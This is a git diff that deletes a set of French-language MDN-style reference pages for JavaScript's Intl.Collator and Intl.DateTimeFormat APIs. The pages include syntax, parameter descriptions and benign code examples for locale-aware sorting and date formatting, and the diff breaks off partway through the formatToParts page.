{{jsxref("Error.prototype.stack", "InternalError.prototype.stack")}}
-
Pile d'appels (stack trace). Héritée via {{jsxref("Error")}}.
-
- -

Méthodes

- -

Bien que l'objet prototype InternalError ne contienne aucune méthode qui lui soit propre, les instances de {{jsxref("InternalError")}} héritent de méthodes grâce à la chaîne de prototypes.

- -

Spécifications

- -

Cette propriété ne fait partie d'aucune spécification.

- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.InternalError")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Error.prototype")}}
    • -
  • {{jsxref("Function.prototype")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/collator/compare/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/collator/compare/index.html deleted file mode 100644 index b120729383..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/intl/collator/compare/index.html +++ /dev/null @@ -1,102 +0,0 @@ ---- -title: Intl.Collator.prototype.compare -slug: Web/JavaScript/Reference/Objets_globaux/Intl/Collator/compare -tags: - - Collator - - Internationalisation - - Intl - - JavaScript - - Méthode - - Prototype - - Reference - - i18n -translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Collator/compare ---- -
{{JSRef}}
- -

La méthode Intl.Collator.prototype.compare() compare deux chaînes de caractères en tenant compte des options spécifiées pour la locale et l'ordre de tri dans l'objet {{jsxref("Collator")}}.

- -
{{EmbedInteractiveExample("pages/js/intl-collator-prototype-compare.html")}}
- - - -

Syntaxe

- -
collator.compare(chaine1, chaine2)
- -

Paramètres

- -
-
chaine1
-
chaine2
-
Les chaînes de caractères à comparer.
-
- -

Description

- -

L'accesseur compare renvoie un nombre qui indique le résultat de la comparaison entre chaine1 et chaine2 selon l'ordre de tri de l'objet {{jsxref("Collator")}} : la valeur obtenue sera négative si chaine1 précède chaine2, positive si chaine1 succède à chaine2, nulle si les deux chaînes sont considérées égales.

- -

Exemples

- -

Utiliser compare() pour trier un tableau

- -

Dans cet exemple, on utilise la fonction de l'accesseur compare pour trier des tableaux. On observe que la fonction est liée à l'objet Collator, on peut donc directement la passer à la méthode {{jsxref("Array.prototype.sort()")}}.

- -
var a = ["Offenbach", "Österreich", "Odenwald"];
-var collator = new Intl.Collator("de-u-co-phonebk");
-a.sort(collator.compare);
-console.log(a.join(", "));
-// → "Odenwald, Österreich, Offenbach"
- -

Utiliser compare() pour chercher dans un tableau

- -

Ici, on utilise la fonction de l'accesseur compare pour trouver les chaînes égales à une chaîne donnée parmi un tableau :

- -
var a = ["Congrès", "congres", "Assemblée", "poisson"];
-var collator = new Intl.Collator("fr", {usage: "search", sensitivity: "base"});
-var s = "congres";
-var matches = a.filter(function (v) {
-    return collator.compare(v, s) === 0;
-});
-console.log(matches.join(", "));
-// → "Congrès, congres"
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ES Int 1.0', '#sec-10.3.2', 'Intl.Collator.prototype.compare')}}{{Spec2('ES Int 1.0')}}Définition initiale.
{{SpecName('ES Int 2.0', '#sec-10.3.2', 'Intl.Collator.prototype.compare')}}{{Spec2('ES Int 2.0')}} 
{{SpecName('ES Int Draft', '#sec-Intl.Collator.prototype.compare', 'Intl.Collator.prototype.compare')}}{{Spec2('ES Int Draft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Intl.Collator.compare")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Collator", "Intl.Collator")}}
    • -
  • {{jsxref("String.prototype.localeCompare()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/collator/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/collator/index.html deleted file mode 100644 index 3130eed3b8..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/intl/collator/index.html +++ /dev/null @@ -1,178 +0,0 @@ ---- -title: Intl.Collator -slug: Web/JavaScript/Reference/Objets_globaux/Intl/Collator -tags: - - Collator - - Constructeur - - Internationalisation - - Intl - - JavaScript - - Reference - - i18n -translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Collator ---- -
{{JSRef}}
- -

L'objet Intl.Collator est un constructeur de « collecteurs », des objets permettant de comparer des chaînes de caractères en tenant compte de la locale.

- -
{{EmbedInteractiveExample("pages/js/intl-collator.html")}}
- - - -

Syntaxe

- -
new Intl.Collator([locales [, options]])
- -

Paramètres

- -
-
locales
-
-

Une chaîne de caractères avec une balise de langue BCP 47 ou un tableau qui contient des chaînes dans ce format. Pour plus d'informations sur le format et l'interprétation de l'argument locales, voir la page {{jsxref("Objets_globaux/Intl", "Intl", "#Choix_de_la_locale")}}. Pour ce constructeur, les clés d'extensions Unicode suivantes sont acceptées :

- -
-
co
-
Les variantes dans les méthodes de regroupement (« collation ») des chaînes de caractères. Les valeurs autorisées pour cette clé sont : "big5han", "dict", "direct", "ducet", "gb2312", "phonebk", "phonetic", "pinyin", "reformed", "searchjl", "stroke", "trad", "unihan". Les valeurs "standard" et "search" sont ignorées. Elles sont remplacées par la propriété usage de l'argument options (voir ci-après).
-
kn
-
Indique si on ordonne les nombres (par exemple : "1" < "2" < "10"). Les valeurs possibles sont "true" et "false". Cette option est également disponible via une propriété de l'objet options. Si l'extension Unicode et la propriété de l'objet options sont définies, ce sera cette dernière qui sera prise en compte.
-
kf
-
Indique si on ordonne les majuscules avant les minuscules ou l'inverse. Les valeurs possibles sont "upper", "lower", ou "false" (on utilise alors l'ordre par défaut de la locale). Cette option est également disponible via une propriété de l'objet options. Si l'extension Unicode et la propriété de l'objet options sont définies, ce sera cette dernière qui sera prise en compte.
-
-
-
options
-
-

Un objet qui disposent des propriétés suivantes :

- -
-
localeMatcher
-
L'algorithme de correspondance à utiliser pour les locales. Les valeurs possibles sont "lookup" et "best fit". La valeur par défaut est "best fit". Voir la {{jsxref("Objets_globaux/Intl", "Intl", "#Choix_de_la_locale")}} pour plus d'informations à ce sujet.
-
usage
-
Indique l'usage de le comparaison : le tri ou la recherche de chaînes correspondantes. Les valeurs possibles sont "sort" pour le tri et "search" pour la recherche. La valeur par défaut est "sort".
-
sensitivity
-
Indique les différences entre les chaînes de caractères qui font qu'une chaîne est considérée différente d'une autre. Les valeurs possibles sont : -
    -
  • "base" : Seules les chaînes dont les lettres de base sont différentes sont considérées inégales. Par exemple : a ≠ b, a = á, a = A.
    • -
  • "accent" : Seules les chaînes de caractères dont les lettres de bases ou les accents ou les autres marques diacritiques diffèrent sont considérées inégales. Par exemple : a ≠ b, a ≠ á, a = A.
    • -
  • "case" : Seules les chaines dont les lettres de base ou la casse sont diffèrent sont considérées comme inégales. Par exemple : a ≠ b, a = á, a ≠ A.
    • -
  • "variant" : Les chaînes qui diffèrent par leurs caractères de base, leurs accents et autres marques diacritiques, la casse sont considérées comme inégales. D'autres différences peuvent également être prises en compte. Par exemple : a ≠ b, a ≠ á, a ≠ A.
    • -
- -

La valeur par défaut est "variant" si on utilise la comparaison pour du tri (usage="sort"). Pour l'utilisation "search" (recherche), la valeur par défaut dépend de la locale.

-
-
ignorePunctuation
-
Indique si la ponctuation doit être ignorée. Les valeurs possibles sont true et false. La valeur par défaut est false.
-
numeric
-
Indique si on ordonne les nombres (par exemple : "1" < "2" < "10"). Les valeurs possibles sont true et false. La valeur par défaut est false. Si l'extension Unicode correspondante et la propriété de l'objet options sont définies, ce sera cette dernière qui sera prise en compte.
-
caseFirst
-
Indique si on ordonne les majuscules avant les minuscules ou l'inverse. Les valeurs possibles sont "upper", "lower", ou "false" (on utilise alors l'ordre par défaut de la locale), la valeur par défaut est "false". Si l'extension Unicode correspondante et la propriété de l'objet options sont définies, ce sera cette dernière qui sera prise en compte.
-
-
-
- -

Description

- -

L'objet Intl.Collator possède les propriétés et méthodes suivantes :

- -

Propriétés

- -
-
{{jsxref("Collator.prototype", "Intl.Collator.prototype")}}
-
Permet d'ajouter des propriétés à toutes les instances.
-
- -

Méthodes

- -
-
{{jsxref("Collator.supportedLocalesOf", "Intl.Collator.supportedLocalesOf()")}}
-
Renvoie un tableau qui contient les locales supportées pour lesquelles il n'est pas nécessaire de revenir à la locale par défaut de l'environnement.
-
- -

Instances de Collator

- -

Propriétés

- -

Les instances de Collator héritent des propriétés suivantes grâce à leur prototype :

- -
{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/Collator/prototype','Propriétés')}}
- -

Méthodes

- -
-

Les instances de Collator héritent des méthodes suivantes grâce à leur prototype :

-{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/Collator/prototype','Méthodes')}}
- -

Exemples

- -

Utiliser Collator

- -

L'exemple qui suit illustre les différents résultats qu'on peut obtenir :

- -
console.log(new Intl.Collator().compare('a', 'c')); // → une valeur négative
-console.log(new Intl.Collator().compare('c', 'a')); // → une valeur positive
-console.log(new Intl.Collator().compare('a', 'a')); // → 0
-
- -

Les résultats indiqués sont génériques et en pratique peuvent varier entre les navigateurs et les versions des navigateurs. En effet les valeurs obtenues dépendent de l'implémentation. Les spécifications indiquent uniquement le signe (positif ou négatif) du résultat.

- -

Utiliser locales

- -

Les résultats fournis par {{jsxref("Collator.prototype.compare()")}} varient selon les locales. Afin d'obtenir le bon ordre lexicographique dans votre application, il est nécessaire de spécifier la locale de l'utilisateur (et éventuellement des locales pour des cas de replis) en utilisant l'argument locales :

- -
// en allemand, 'ä' est équivalent à 'a' pour le tri
-console.log(new Intl.Collator("de").compare("ä", "z"));
-// → une valeur négative
-
-// en suédois, 'ä' arrive après 'z'
-console.log(new Intl.Collator("sv").compare("ä", "z"));
-// → une valeur positive
-
- -

Utiliser options

- -

Les résultats fournis par {{jsxref("Collator.prototype.compare()")}} peuvent être adaptés grâce à l'argument options :

- -
// en allemand, 'ä' est composé de la lettre de base 'a'
-console.log(new Intl.Collator("de", {sensitivity: "base"}).compare("ä", "a"));
-// → 0
-
-// en suédois, 'ä' et 'a' sont distincts en termes de base
-console.log(new Intl.Collator("sv", {sensitivity: "base"}).compare("ä", "a"));
-// → une valeur positive
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES Int 1.0', '#sec-10.1', 'Intl.Collator')}}{{Spec2('ES Int 1.0')}}Définition initiale.
{{SpecName('ES Int 2.0', '#sec-10.1', 'Intl.Collator')}}{{Spec2('ES Int 2.0')}} 
{{SpecName('ES Int Draft', '#collator-objects', 'Intl.Collator')}}{{Spec2('ES Int Draft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Intl.Collator")}}

- -

Voir aussi

- -

{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/Intl','Voir_aussi')}}

diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/collator/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/collator/prototype/index.html deleted file mode 100644 index b523b88842..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/intl/collator/prototype/index.html +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: Intl.Collator.prototype -slug: Web/JavaScript/Reference/Objets_globaux/Intl/Collator/prototype -tags: - - Collator - - Internationalisation - - Intl - - JavaScript - - Propriété - - Prototype - - Reference - - i18n -translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Collator -translation_of_original: Web/JavaScript/Reference/Global_Objects/Intl/Collator/prototype ---- -
{{JSRef}}
- -

La propriété Intl.Collator.prototype représente l'objet prototype du constructeur {{jsxref("Collator", "Intl.Collator")}}.

- -
{{js_property_attributes(0,0,0)}}
- -

Description

- -

Voir la page {{jsxref("Collator")}} pour une description appliquée aux instances de Intl.Collator.

- -

Les instances de Intl.Collator héritent de Intl.Collator.prototype. Les modifications apportées à l'objet prototype sont propagées sur toutes les instances de Intl.Collator via l'héritage (chaîne de prototypes).

- -

Propriétés

- -
-
Intl.Collator.protoype.constructor
-
Une référence vers {{jsxref("Collator")}}.
-
- -

Méthodes

- -
-
{{jsxref("Collator.compare", "Intl.Collator.prototype.compare")}}
-
Un accesseur qui renvoie une fonction comparant deux chaînes de caractères, basée sur l'ordre de tri de l'objet {{jsxref("Objets_globaux/Collator", "Intl.Collator")}}.
-
{{jsxref("Collator.resolvedOptions", "Intl.Collator.prototype.resolvedOptions()")}}
-
Renvoie un nouvel objet dont les propriétés correspondent aux options de collation et de locales calculées lors de l'initialisation de l'objet.
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ES Int 1.0', '#sec-10.2.1', 'Intl.Collator.prototype')}}{{Spec2('ES Int 1.0')}}Définition initiale.
{{SpecName('ES Int 2.0', '#sec-10.2.1', 'Intl.Collator.prototype')}}{{Spec2('ES Int 2.0')}} 
{{SpecName('ES Int Draft', '#sec-Intl.Collator.prototype', 'Intl.Collator.prototype')}}{{Spec2('ES Int Draft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Intl.Collator.prototype")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Collator", "Intl.Collator")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/collator/resolvedoptions/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/collator/resolvedoptions/index.html deleted file mode 100644 index d7cd3ad5e0..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/intl/collator/resolvedoptions/index.html +++ /dev/null @@ -1,98 +0,0 @@ ---- -title: Intl.Collator.prototype.resolvedOptions() -slug: Web/JavaScript/Reference/Objets_globaux/Intl/Collator/resolvedOptions -tags: - - Collator - - Internationalisation - - Intl - - JavaScript - - Méthode - - Prototype - - Reference - - i18n -translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Collator/resolvedOptions ---- -
{{JSRef}}
- -

La méthode Intl.Collator.prototype.resolvedOptions() renvoie un nouvel objet dont les propriétés reflètent les options de locale et de collation calculées à l'initialisation de l'objet {{jsxref("Collator")}}.

- -
{{EmbedInteractiveExample("pages/js/intl-collator-prototype-resolvedoptions.html")}}
- - - -

Syntaxe

- -
collator.resolvedOptions()
- -

Valeur de retour

- -

Un nouvel objet dont les propriétés reflètent les options de locale et de collations calculées lors de l'initialisation de l'objet {{jsxref("Collator")}}.

- -

Description

- -

L'objet renvoyé par cette méthode contient les propriétés suivantes :

- -
-
locale
-
La balise de langue BCP 47 qui est réellement utilisée. Si des extensions Unicode étaient fournies avec la balise d'origine et sont supportées pour la locale utilisée, les paires de clés-valeurs seront incluses dans locale.
-
usage
-
sensitivity
-
ignorePunctuation
-
Les valeurs demandées pour ces propriétés via l'argument options ou celles utilisées par défaut.
-
collation
-
La valeur demandée pour l'extension Unicode "co" si elle est supportée par la locale utilisée, sinon "default".
-
numeric
-
caseFirst
-
Les valeurs demandées pour ces propriétés via l'argument options ou l'utilisation des extensions Unicode "kn" et "kf" ou les valeurs par défaut. Si l'implémentation utilisée ne supporte pas ces propriétés, elles sont omises.
-
- -

Exemples

- -
var de = new Intl.Collator('de', { sensitivity: 'base' })
-var usedOptions = de.resolvedOptions();
-
-usedOptions.locale;            // "de"
-usedOptions.usage;             // "sort"
-usedOptions.sensitivity;        // "base"
-usedOptions.ignorePunctuation; // false
-usedOptions.collation;         // "default"
-usedOptions.numeric;           // false
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES Int 1.0', '#sec-10.3.3', 'Intl.Collator.prototype.resolvedOptions')}}{{Spec2('ES Int 1.0')}}Définition initiale.
{{SpecName('ES Int 2.0', '#sec-10.3.3', 'Intl.Collator.prototype.resolvedOptions')}}{{Spec2('ES Int 2.0')}}
{{SpecName('ES Int Draft', '#sec-Intl.Collator.prototype.resolvedOptions', 'Intl.Collator.prototype.resolvedOptions')}}{{Spec2('ES Int Draft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Intl.Collator.resolvedOptions")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Collator", "Intl.Collator")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/collator/supportedlocalesof/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/collator/supportedlocalesof/index.html deleted file mode 100644 index 6b5bdb5414..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/intl/collator/supportedlocalesof/index.html +++ /dev/null @@ -1,98 +0,0 @@ ---- -title: Intl.Collator.supportedLocalesOf() -slug: Web/JavaScript/Reference/Objets_globaux/Intl/Collator/supportedLocalesOf -tags: - - Collator - - Internationalisation - - Intl - - JavaScript - - Méthode - - Reference - - i18n -translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Collator/supportedLocalesOf ---- -
{{JSRef}}
- -

La méthode Intl.Collator.supportedLocalesOf() renvoie, parmi les locales fournies, un tableau contenant les locales supportées et qui ne nécessitent pas d'utiliser la locale par défaut de l'environnement.

- -
{{EmbedInteractiveExample("pages/js/intl-collator-prototype-supportedlocalesof.html")}}
- - - -

Syntaxe

- -
Intl.Collator.supportedLocalesOf(locales [, options])
- -

Paramètres

- -
-
locales
-
Une chaîne de caractères qui est une balise de langue BCP 47 ou bien un tableau de telles chaînes. Pour plus d'informations concernant la forme générale de l'argument locales, voir la page {{jsxref("Objets_globaux/Intl", "Intl", "#L'identification_et_le_choix_de_la_locale")}}.
-
options{{optional_inline}}
-
-

Paramètre facultatif. Un objet qui peut posséder les propriétés suivantes :

- -
-
localeMatcher
-
-

L'algorithme utilisé pour la correspondance entre chaînes de caractères. Les valeurs possibles sont "lookup" et "best fit". La valeur par défaut est "best fit". Pour plus d'informations, voir la page {{jsxref("Objets_globaux/Intl", "Intl", "#Choix_de_la_locale")}}.

-
-
-
-
- -

Valeur de retour

- -

Un tableau de chaînes de caractères qui représente un sous-ensemble des balises de langues qui sont prises en charge pour la collation sans qu'il faille utiliser la locale par défaut de l'environnement d'exécution.

- -

Description

- -

Cette méthode renvoie un tableau qui est un sous-ensemble des balises de locales fournies avec l'argument locales. Les balises renvoyées sont celles supportées par l'environnement navigateur en termes de collation (comparaison) et qui ne nécessitent pas d'utiliser la locale par défaut.

- -

Exemples

- -

Si on dispose d'un environnement (un navigateur par exemple) qui supporte la comparaison de chaînes dans les locales indonésienne, allemande mais pas balinaise,  supportedLocalesOf renvoie les balises pour l'indonésien et l'allemand quand bien même la collation avec pinyin n'est pas utilisée avec l'indonésien et qu'il n'existe pas une version spécifique de l'allemand pour l'Indonésie. On illustre ici l'algorithme "lookup". SI on utilisait "best fit" pour trouver les locales correspondantes, on aurait pu avoir une balise supplémentaire pour le balinais en plus car la plupart des balinais comprennent l'indonésien.

- -
var locales = ["ban", "id-u-co-pinyin", "de-ID"];
-var options = {localeMatcher: "lookup"};
-console.log(Intl.Collator.supportedLocalesOf(locales, options).join(", "));
-// → "id-u-co-pinyin, de-ID"
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES Int 1.0', '#sec-10.2.2', 'Intl.Collator.supportedLocalesOf')}}{{Spec2('ES Int 1.0')}}Définition initiale.
{{SpecName('ES Int 2.0', '#sec-10.2.2', 'Intl.Collator.supportedLocalesOf')}}{{Spec2('ES Int 2.0')}} 
{{SpecName('ES Int Draft', '#sec-Intl.Collator.supportedLocalesOf', 'Intl.Collator.supportedLocalesOf')}}{{Spec2('ES Int Draft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Intl.Collator.supportedLocalesOf")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Collator", "Intl.Collator")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/datetimeformat/format/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/datetimeformat/format/index.html deleted file mode 100644 index 06acb8065b..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/intl/datetimeformat/format/index.html +++ /dev/null @@ -1,126 +0,0 @@ ---- -title: Intl.DateTimeFormat.prototype.format -slug: Web/JavaScript/Reference/Objets_globaux/Intl/DateTimeFormat/format -tags: - - Internationalisation - - Intl - - JavaScript - - Propriété - - Prototype - - Reference - - i18n -translation_of: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat/format ---- -
{{JSRef}}
- -

La méthode Intl.DateTimeFormat.prototype.format() est un accesseur formate une date selon les options de locale et de format de l'objet {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}.

- -
{{EmbedInteractiveExample("pages/js/intl-datetimeformat-prototype-format.html")}}
- - - -

Syntaxe

- -
dateTimeFormat.format(date)
- -

Paramètres

- -
-
date
-
La date à formater.
-
- -

Description

- -

L'accesseur format permet de formater une date en une chaîne de caractères en fonction des options de locale et de format définies pour l'objet {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}.

- -

Exemples

- -

Utiliser format

- -

On peut utiliser la fonction renvoyée par l'accesseur format pour formater une date. Par exemple selon la locale serbe :

- -
var options = {weekday: "long", year: "numeric", month: "long", day: "numeric"};
-var dateTimeFormat = new Intl.DateTimeFormat("sr-RS", options);
-console.log(dateTimeFormat.format(new Date()));
-// → "недеља, 7. април 2013."
- -

Utiliser format avec map()

- -

On peut également utiliser la fonction renvoyée par l'accesseur format pour formater toutes les dates d'un tableau. On observe que la fonction est liée à l'objet DateTimeFormat dont elle provient, on peut donc la passer directement à {{jsxref("Array.prototype.map()")}}.

- -
var a = [new Date(2012, 08), new Date(2012, 11), new Date(2012, 03)];
-var options = {year: "numeric", month: "long"};
-var dateTimeFormat = new Intl.DateTimeFormat("pt-BR", options);
-var formatted = a.map(dateTimeFormat.format);
-console.log(formatted.join("; "));
-// → "setembro de 2012; dezembro de 2012; abril de 2012"
- -

Comparaison des dates formatées et des valeurs statiques

- -

La plupart du temps, le format renvoyé par format() est cohérent. Toutefois, cela peut évoluer à l'avenir et n'est pas garanti pour l'ensemble des langues (de telles variations sont souhaitables et permises par la spécification). Ainsi, IE et Edge ajoutent des caractères de contrôle bidirectionnels autour des dates afin que le texte produit ait une directionalité cohérente avec le texte avec lequel elles seront concaténées.

- -

Aussi, mieux vaut ne pas comparer un résultat fourni par format() avec une valeur statique :

- -
let d = new Date("2019-01-01T00:00:00.000000Z");
-let formattedDate = Intl.DateTimeFormat(undefined, {
-  year: 'numeric',
-  month: 'numeric',
-  day: 'numeric',
-  hour: 'numeric',
-  minute: 'numeric',
-  second: 'numeric'
-}).format(d);
-
-"1.1.2019, 01:00:00" === formattedDate;
-// true pour Firefox et les autres
-// false pour IE et Edge
-
- -
-

Note : Voir aussi ce fil StackOverflow pour plus de détails et d'exemples.

-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES Int 1.0', '#sec-12.3.2', 'Intl.DateTimeFormat.format')}}{{Spec2('ES Int 1.0')}}Définition initiale.
{{SpecName('ES Int 2.0', '#sec-12.3.2', 'Intl.DateTimeFormat.format')}}{{Spec2('ES Int 2.0')}} 
{{SpecName('ES Int Draft', '#sec-Intl.DateTimeFormat.prototype.format', 'Intl.DateTimeFormat.format')}}{{Spec2('ES Int Draft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Intl.DateTimeFormat.format")}}

- -

Voir aussi

- -
    -
  • {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}
    • -
  • {{jsxref("Date.prototype.toLocaleString")}}
    • -
  • {{jsxref("Date.prototype.toLocaleDateString")}}
    • -
  • {{jsxref("Date.prototype.toLocaleTimeString")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/datetimeformat/formatrange/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/datetimeformat/formatrange/index.html deleted file mode 100644 index 1fbca49cc2..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/intl/datetimeformat/formatrange/index.html +++ /dev/null @@ -1,82 +0,0 @@ ---- -title: Intl.DateTimeFormat.prototype.formatRange() -slug: Web/JavaScript/Reference/Objets_globaux/Intl/DateTimeFormat/formatRange -tags: - - Internationalisation - - Intl - - Méthode - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat/formatRange ---- -

{{JSRef}}

- -

La méthode Intl.DateTimeFormat.prototype.formatRange() permet de formater un intervalle de dates de la façon la plus concise en fonction de la locale et des options fournies lors de l'initialisation de l'objet {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}.

- -
{{EmbedInteractiveExample("pages/js/intl-datetimeformat-prototype-formatrange.html")}}
- - - -

Syntaxe

- -
Intl.DateTimeFormat.prototype.formatRange(dateDébut, dateFin)
- -

Exemples

- -

Utilisation simple de formatRange()

- -

Cette méthode reçoit comme arguments deux objets {{jsxref("Date")}} et renvoie l'intervalle de la façon la plus concise possible (selon les options fournies lors de l'instanciation du formateur Intl.DateTimeFormat).

- -
let date1 = new Date(Date.UTC(2007, 0, 10, 10, 0, 0));
-let date2 = new Date(Date.UTC(2007, 0, 10, 11, 0, 0));
-let date3 = new Date(Date.UTC(2007, 0, 20, 10, 0, 0));
-// > 'Wed, 10 Jan 2007 10:00:00 GMT'
-// > 'Wed, 10 Jan 2007 11:00:00 GMT'
-// > 'Sat, 20 Jan 2007 10:00:00 GMT'
-
-let fmt1 = new Intl.DateTimeFormat("en", {
-    year: '2-digit',
-    month: 'numeric',
-    day: 'numeric',
-    hour: 'numeric',
-    minute: 'numeric'
-});
-console.log(fmt1.format(date1));
-console.log(fmt1.formatRange(date1, date2));
-console.log(fmt1.formatRange(date1, date3));
-// > '1/10/07, 10:00 AM'
-// > '1/10/07, 10:00 – 11:00 AM'
-// > '1/10/07, 10:00 AM – 1/20/07, 10:00 AM'
-
-let fmt2 = new Intl.DateTimeFormat("en", {
-    year: 'numeric',
-    month: 'short',
-    day: 'numeric'
-});
-console.log(fmt2.format(date1));
-console.log(fmt2.formatRange(date1, date2));
-console.log(fmt2.formatRange(date1, date3));
-// > 'Jan 10, 2007'
-// > 'Jan 10, 2007'
-// > 'Jan 10 – 20, 2007'
-
- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
Intl.DateTimeFormat.prototype.formatRangeBrouillon de niveau 3
- -

Voir aussi

- -

{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/Intl', 'Voir_aussi')}}

diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/datetimeformat/formatrangetoparts/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/datetimeformat/formatrangetoparts/index.html deleted file mode 100644 index 593df591fb..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/intl/datetimeformat/formatrangetoparts/index.html +++ /dev/null @@ -1,73 +0,0 @@ ---- -title: Intl.DateTimeFormat.prototype.formatRangeToParts() -slug: Web/JavaScript/Reference/Objets_globaux/Intl/DateTimeFormat/formatRangeToParts -tags: - - Internationalization - - JavaScript - - Localization - - i18n -translation_of: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat/formatRangeToParts ---- -

{{JSRef}}

- -

La fonction Intl.DateTimeFormat.prototype.formatRangeToParts() permet, selon la locale utilisée, de représenter chaque élément de l'intervalle de dates via DateTimeFormat.

- -

Syntaxe

- -
Intl.DateTimeFormat.prototype.formatRangeToParts(dateDebut, dateFin)
- -

Exemples

- -

Usage basique de formatRangeToParts

- -

Cette fonction reçoit deux Dates et retourne un Array d'objets contenant les élements qui représentent chaque partie de l'intervalle de date formatée, selon la locale utilisée.

- -
let date1 = new Date(Date.UTC(2007, 0, 10, 10, 0, 0));
-let date2 = new Date(Date.UTC(2007, 0, 10, 11, 0, 0));
-// > 'Wed, 10 Jan 2007 10:00:00 GMT'
-// > 'Wed, 10 Jan 2007 11:00:00 GMT'
-
-let fmt = new Intl.DateTimeFormat("en", {
-    hour: 'numeric',
-    minute: 'numeric'
-});
-
-console.log(fmt.formatRange(date1, date2));
-// > '10:00 – 11:00 AM'
-
-fmt.formatRangeToParts(date1, date2);
-// retourne la valeur:
-// [
-//   { type: 'hour',      value: '10',  source: "startRange" },
-//   { type: 'literal',   value: ':',   source: "startRange" },
-//   { type: 'minute',    value: '00',  source: "startRange" },
-//   { type: 'literal',   value: ' – ', source: "shared"     },
-//   { type: 'hour',      value: '11',  source: "endRange"   },
-//   { type: 'literal',   value: ':',   source: "endRange"   },
-//   { type: 'minute',    value: '00',  source: "endRange"   },
-//   { type: 'literal',   value: ' ',   source: "shared"     },
-//   { type: 'dayPeriod', value: 'AM',  source: "shared"     }
-// ]
- -

Spécifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
Intl.DateTimeFormat.prototype.formatRangeStage 3
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Intl.DateTimeFormat.formatRangeToParts")}}

diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/datetimeformat/formattoparts/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/datetimeformat/formattoparts/index.html deleted file mode 100644 index 8ec6657b12..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/intl/datetimeformat/formattoparts/index.html +++ /dev/null @@ -1,166 +0,0 @@ ---- -title: Intl.DateTimeFormat.prototype.formatToParts() -slug: Web/JavaScript/Reference/Objets_globaux/Intl/DateTimeFormat/formatToParts -tags: - - DateTimeFormat - - Internationalisation - - Intl - - JavaScript - - Méthode - - Prototype - - Reference - - i18n -translation_of: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat/formatToParts ---- -
{{JSRef}}
- -

La méthode Intl.DateTimeFormat.prototype.formatToParts() permet de mettre en forme des chaînes de caractères avec des informations temporelles selon la locale utilisée.

- -

Syntaxe

- -
Intl.DateTimeFormat.prototype.formatToParts(date)
- -

Paramètres

- -
-
date {{optional_inline}}
-
La date qu'on souhaite mettre en forme.
-
- -

Valeur de retour

- -

